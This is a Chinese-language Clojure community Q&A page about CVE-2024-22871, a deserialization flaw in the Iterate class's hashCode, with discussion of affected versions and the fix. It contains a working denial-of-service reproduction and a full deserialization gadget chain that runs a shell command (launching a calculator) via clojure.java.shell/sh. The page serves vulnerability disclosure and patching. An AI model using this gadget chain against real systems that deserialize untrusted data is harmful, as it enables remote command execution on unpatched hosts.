2024 Clojure 状态调查!中分享您的想法。

欢迎!请参阅关于页面获取更多关于如何使用本网站的信息。

+1
Clojure
已关闭

报告漏洞

在 org.clojure:clojure 中存在以下漏洞
- 拒绝服务攻击(clojure 版本 1.2.0 - 1.12.0)

dos

Command Injection

请注意,对于此漏洞不需要额外的组件。

详细信息
1.12.0-a5 中的 RCE CallGraph
17069252746231706925273707.png

CVE
- CVE-2024-22871

已关闭,备注:发布在 Clojure 1.11.2 和 1.12.0-alpha9 中
如以下讨论,DDoS 攻击可能影响 1.2.0-1.12.0,而进行本地验证的命令执行可能影响 1.9.0-1.12.0
在我看来,几个当前的问题类似于以下情况,但采用了新的绕过方式。


https://clojure.atlassian.net/browse/CLJ-2204
我不明白,如果全是 Java,Clojure 有什么关系?

更新:我正确理解了吗?你能否在不使用 Clojure 的情况下用 Java 实现同样的功能?
没有正确完成,函数调用图部分依赖于 Clojure,如 apply、RestFn 等。在版本 1.9.0-1.12.0(在 clojure 版本 poc)中,可以通过访问匿名函数类来执行命令以获取 $fn_5920。

1 条回答

+3
 
最佳答案

在不受信任的数据上使用 ObjectInputStream 本质上是危险的,正如该类的文档自己所说。为什么展示该类的危险性的案例会被视为提供一些使用类 JAR 的漏洞?

为未来读者提供一个更简单的再现方法。

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
是的,ObjectInputStream确实引入了潜在的安全风险。但是,关于这个特定的漏洞,问题并不在于讨论可能导致安全问题的潜在风险。它在于,在1.12.0-alpha5版本中,有可能构造一个特殊的序列化数据包,这加剧了这些风险可能造成的危害。这可以在不需要其他依赖的情况下完成,并允许命令执行(过程启动似乎是一个新引入的功能)。反序列化通常会依赖于项目环境,但是这个漏洞不需要任何其他依赖,它本身就是一个JAR包的问题。
我明白了。然而,这与1.12.0-alpha5无关——我刚刚添加到答案中的代码可以在1.8.0上运行来重现这种行为。经过轻微的修改,它也可以在1.2.0上运行(但在此之前不行,因为在此之前`clojure.lang.Cons`不可序列化)。
是的,这个漏洞仅影响版本1.12.0-alpha5。我对先前版本的分析不多,而且我对它们存在其他高风险反序列化漏洞持悲观态度。
顺便说一句,如果可能的话,希望开发者能发布CVE。尽管我已请求CVE,但我还没收到回复。
您说“是”,但实际上写的与我说的话相反——该漏洞影响从1.2.0版本起的所有Clojure版本。
真的吗?你们是在指这个反序列化造成的命令执行漏洞吗?因为我对Clojure不是很熟悉,只是从我的程序分析工具中得到这个分析结果。
更让我困惑的是core$partial$fn__5920类的生成原理。我曾使用soot分析过clojure.jar,但我想了解Clojure中core$partial$fn__5920的实际代码。
这个类是由`partial`函数的这个参数体制生成的: https://github.com/clojure/clojure/blob/master/src/clj/clojure/core.clj#L2638
谢谢。由于时差,可能在之后的回复中难以及时回应。

编辑
生成命令执行攻击的另一种方法

```clojure
(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
        ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "写入完成。读取中...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))
    )
  )

  ;; 调用 main 函数
(main)
```
需要注意的是,仅设置 'fn start (ns-resolve 'clojure.java.shell 'sh)',即可影响 1.9.0 - 1.12.0 版本,并实现命令执行。
不清楚你的最后一条评论意味着什么。`clojure.java.shell` 命名空间中的 `sh` 函数用于执行命令,当然你可以用它执行一些操作。命令执行机制仍然依赖于 `Iterate` 类实现其哈希的方式。
这是因为我在上一个版本中使用了 process $ start,但不幸的是这是一个在 1.12.0 版本中引入的新功能;后来检查项目时发现,可以直接使用 shell 函数来直接运行命令。是的,问题仍然出现在 `Iterate` 类的哈希计算中。
这个问题已在 1.11.2 和 1.12.0-alpha9 版本的 `Iterate` 的 `hashCode()` 中修复。
...